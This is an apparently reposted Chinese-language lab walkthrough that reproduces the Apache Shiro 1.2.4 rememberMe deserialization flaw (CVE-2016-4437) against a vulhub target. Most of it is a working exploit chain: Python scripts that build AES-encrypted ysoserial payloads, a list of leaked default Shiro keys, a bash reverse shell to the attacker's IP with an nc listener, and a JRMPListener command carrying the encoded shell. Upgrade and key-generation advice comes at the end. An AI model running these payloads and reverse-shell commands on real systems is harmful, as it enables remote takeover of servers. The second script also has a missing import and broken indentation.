CVE-2016-4437 Apache Shiro 1.2.4反序列化漏洞復現


Apache Shiro 1.2.4反序列化漏洞檢測及利用getshell

什么是Apache Shiro:

Apache Shiro是一個強大且易用的Java安全框架,執行身份驗證、授權、密碼和會話管理。使用Shiro的易於理解的API,您可以快速、輕松地獲得任何應用程序,從最小的移動應用程序到最大的網絡和企業應用程序。

shiro反序列化的特征:

在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段

影響范圍:

只要rememberMe的AES加密密鑰泄露,Apache Shiro <= 1.2.4版本均存在威脅

漏洞成因:

大概意思是,shiro在登錄處提供了Remember Me這個功能,來記錄用戶登錄的憑證,然后shiro使用了CookieRememberMeManager類對用戶的登陸憑證,也就是Remember Me的內容進行一系列處理:

使用Java序列化 ---> 使用密鑰進行AES加密 ---> Base64加密 ---> 得到加密后的Remember Me內容

同時在識別用戶身份的時候,需要對Remember Me的字段進行解密,解密的順序為:

Remember Me加密內容 ---> Base64解密 ---> 使用密鑰進行AES解密 --->Java反序列化

問題出在AES加密的密鑰Key被硬編碼在代碼里,這意味着攻擊者只要通過源代碼找到AES加密的密鑰,就可以構造一個惡意對象,對其進行序列化,AES加密,Base64編碼,然后將其作為cookie的Remember Me字段發送,Shiro將RememberMe進行解密並且反序列化,最終造成反序列化漏洞。

參考文章:

https://www.cnblogs.com/bmjoker/articles/11650295.html

https://cloud.tencent.com/developer/article/1540882

https://www.pythonheidong.com/blog/article/337436/

環境搭建

靶機:kali2019 ip:192.168.245.129

攻擊機:win10 ip:192.168.43.248

  1. 啟動靶機環境

    打開kali,找到vulhub環境下的CVE-2016-4437漏洞目錄,vulhub安裝教程:https://www.cnblogs.com/Iamyoyodan/p/13323445.html ,打開靶場環境

    瀏覽器訪問服務默認端口8080,環境搭建成功

  2. 編譯生成ysoserial反序列化利用工具

    ysoserial是一款目前最流行的Java反序列化Payload生成工具,目前支持29種的Payload生成。

    執行以下操作:

    $git clone https://github.com/frohoff/ysoserial.git
    $cd ysoserial
    $mvn package -D skipTests
    

    即可生成ysoserial-0.0.6-SNAPSHOT-all.jar文件,如果出現bash: mvn: command not found的問題,是kali未安裝maven,參考文章:https://www.cnblogs.com/yuexiaoyun/articles/13033946.html

  3. 編寫檢測漏洞的腳本,這里借用大佬的文件

    shiro.py

    # -*- coding: utf-8 -*-
    import sys
    import base64
    import uuid
    from random import Random
    import subprocess
    from Crypto.Cipher import AES
    
    def encode_rememberme(command):
        popen = subprocess.Popen(['java', '-jar', 'ysoserial-master-SNAPSHOT.jar', 'URLDNS', command], stdout=subprocess.PIPE)
        BS   = AES.block_size
        pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
        key  =  "kPH+bIxk5D2deZiIxcaaaA=="   
        # 如果不成功,可能是密鑰不匹配,更換密鑰重試
        #key = "Z3VucwAAAAAAAAAAAAAAAA=="
        #key = "wGiHplamyXlVB11UXWol8g=="
        #key = "2AvVhdsgUs0FSA3SDFAdag=="
        #key = "4AvVhmFLUs0KTA3Kprsdag=="
        #key = "3AvVhmFLUs0KTA3Kprsdag=="
        #key = "U3ByaW5nQmxhZGUAAAAAAA=="
        #key = "wGiHplamyXlVB11UXWol8g=="
        #key = "6ZmI6I2j5Y+R5aSn5ZOlAA=="
        #key = "fCq+/xW488hMTCD+cmJ3aQ=="
        #key = "1QWLxg+NYmxraMoxAXu/Iw=="
        #key = "ZUdsaGJuSmxibVI2ZHc9PQ=="
        #key = "r0e3c16IdVkouZgk1TKVMg=="
        #key = "5aaC5qKm5oqA5pyvAAAAAA=="
        #key = "bWluZS1hc3NldC1rZXk6QQ=="
        #key = "a2VlcE9uR29pbmdBbmRGaQ=="
        #key = "WcfHGU25gNnTxTlmJMeSpw=="
    	
        mode =  AES.MODE_CBC
        iv   =  uuid.uuid4().bytes
        encryptor = AES.new(base64.b64decode(key), mode, iv)
        file_body = pad(popen.stdout.read())
        base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
        return base64_ciphertext
    
    if __name__ == '__main__':
        payload = encode_rememberme(sys.argv[1])    
        print "rememberMe={}".format(payload.decode())	
    
  4. 編寫生成反彈shell payload的腳本,這里我用強哥給的文件

    shiro_exp_payload.py

    # -*- coding: utf-8 -*-
    import uuid
    import base64
    import subprocess
    from Crypto.Cipher import AES
    
    
    def encode_rememberme(command):
        popen = subprocess.Popen(['java', '-jar', 'ysoserial-master-SNAPSHOT.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
        BS = AES.block_size
        pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
        # 密鑰使用檢測成功的密鑰
        key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
        iv = uuid.uuid4().bytes
        encryptor = AES.new(key, AES.MODE_CBC, iv)
        file_body = pad(popen.stdout.read())
        base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
        return base64_ciphertext
    
    if __name__ == '__main__':
        payload = encode_rememberme(sys.argv[1])    
    print "rememberMe={0}".format(payload.decode())
    

    這里介紹一下腳本里面的JRMPClient與之后會使用到的監聽命令的JRMPListenter

    • payloads/JRMPClient 是結合 exploit/JRMPListener 使用的

    • JRMPListener是ysoserial 工具里的其中一個利用模塊,作用是通過反序列化,開啟當前主機的一個 JRMP Server ,具體的利用過程是,將反序列化數據發送到 Server 中,然后Server中進行反序列化操作,並開啟指定端口, 然后在通過JRMPClient去發送攻擊 payload

    • payloads/JRMPClient 生成的 payload 是發送給目標機器的,exploit/JRMPListener 是在自己服務器上使用的

    • 超詳細分析:https://xz.aliyun.com/t/2650

漏洞檢測

  1. 攻擊機訪問靶機shiro頁面,輸入用戶名密碼點擊登錄image-20200618110825841

    bp抓包,可以看到在Set-Cookie中含有記錄用戶登錄憑證的rememberMe字段

  2. 打開Burp中的Burp Collaborator client插件,插件詳解:https://blog.csdn.net/fageweiketang/article/details/89073662

    點擊Copy to clipboard,復制其提供的 payload url

  3. 運行shiro.py腳本生成檢測payload,此處構建地址http://+復制的url

    python2 shiro.py "http://hg1i30khmmzi86ngjhytn7jfv61wpl.burpcollaborator.net"
    

  4. 復制payload到請求包中,注意以分號隔開,GO一下可以看到這里多了一個RememberMe,表示payload已加載

  5. 返回插件查看,將seconds值設小一點,點擊Poll now即可看到回顯,證明漏洞存在,密鑰為kPH+bIxk5D2deZiIxcaaaA==

漏洞利用getshell

  1. 編輯命令,意為bash反彈shell到192.168.43.248:8888

    $bash -i >& /dev/tcp/192.168.43.248/8888 0>&1
    

    打開http://www.jackson-t.ca/runtime-exec-payloads.html將命令進行編碼,復制編碼內容

  2. nc監聽反彈shell的端口

    $nc -lvp 8888
    

  3. 同時使用ysoserial-master-SNAPSHOT.jar中的JRMP監聽模塊監聽7777端口(注意這里是另開了一個攻擊端口,和之前反彈shell的端口不一樣)

    $java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections5 "bash -c {echo,JGJhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC40My4xMTcvODg4OCAwPiYx}|{base64,-d}|{bash,-i}"
    

  4. 執行腳本,生成payload

    shiro_exp_payload.py

    $python2 shiro_exp_payload.py 192.168.43.248:7777
    

  5. 同樣將payload放入請求包中,看到靶機已執行

  6. 查看8888端口可以看到反彈成功,成功獲取shell

漏洞修復

  • 升級shiro到1.2.5及以上.

  • 如果在配置里配置了密鑰, 那么請一定不要使用網上的密鑰, 一定不要! ! 請自己base64一個AES的密鑰, 或者利用官方提供的方法生成密鑰: org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey().

    public class GenerateCipherKey {
    
     /**
      * 隨機生成秘鑰,參考org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey(int)
      * @return
      */
     public static byte[] generateNewKey() {
         KeyGenerator kg;
         try {
             kg = KeyGenerator.getInstance("AES");
         } catch (NoSuchAlgorithmException var5) {
             String msg = "Unable to acquire AES algorithm.  This is required to function.";
             throw new IllegalStateException(msg, var5);
         }
    
         kg.init(128);
         SecretKey key = kg.generateKey();
         byte[] encoded = key.getEncoded();
         return encoded;
     }
    }
    


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM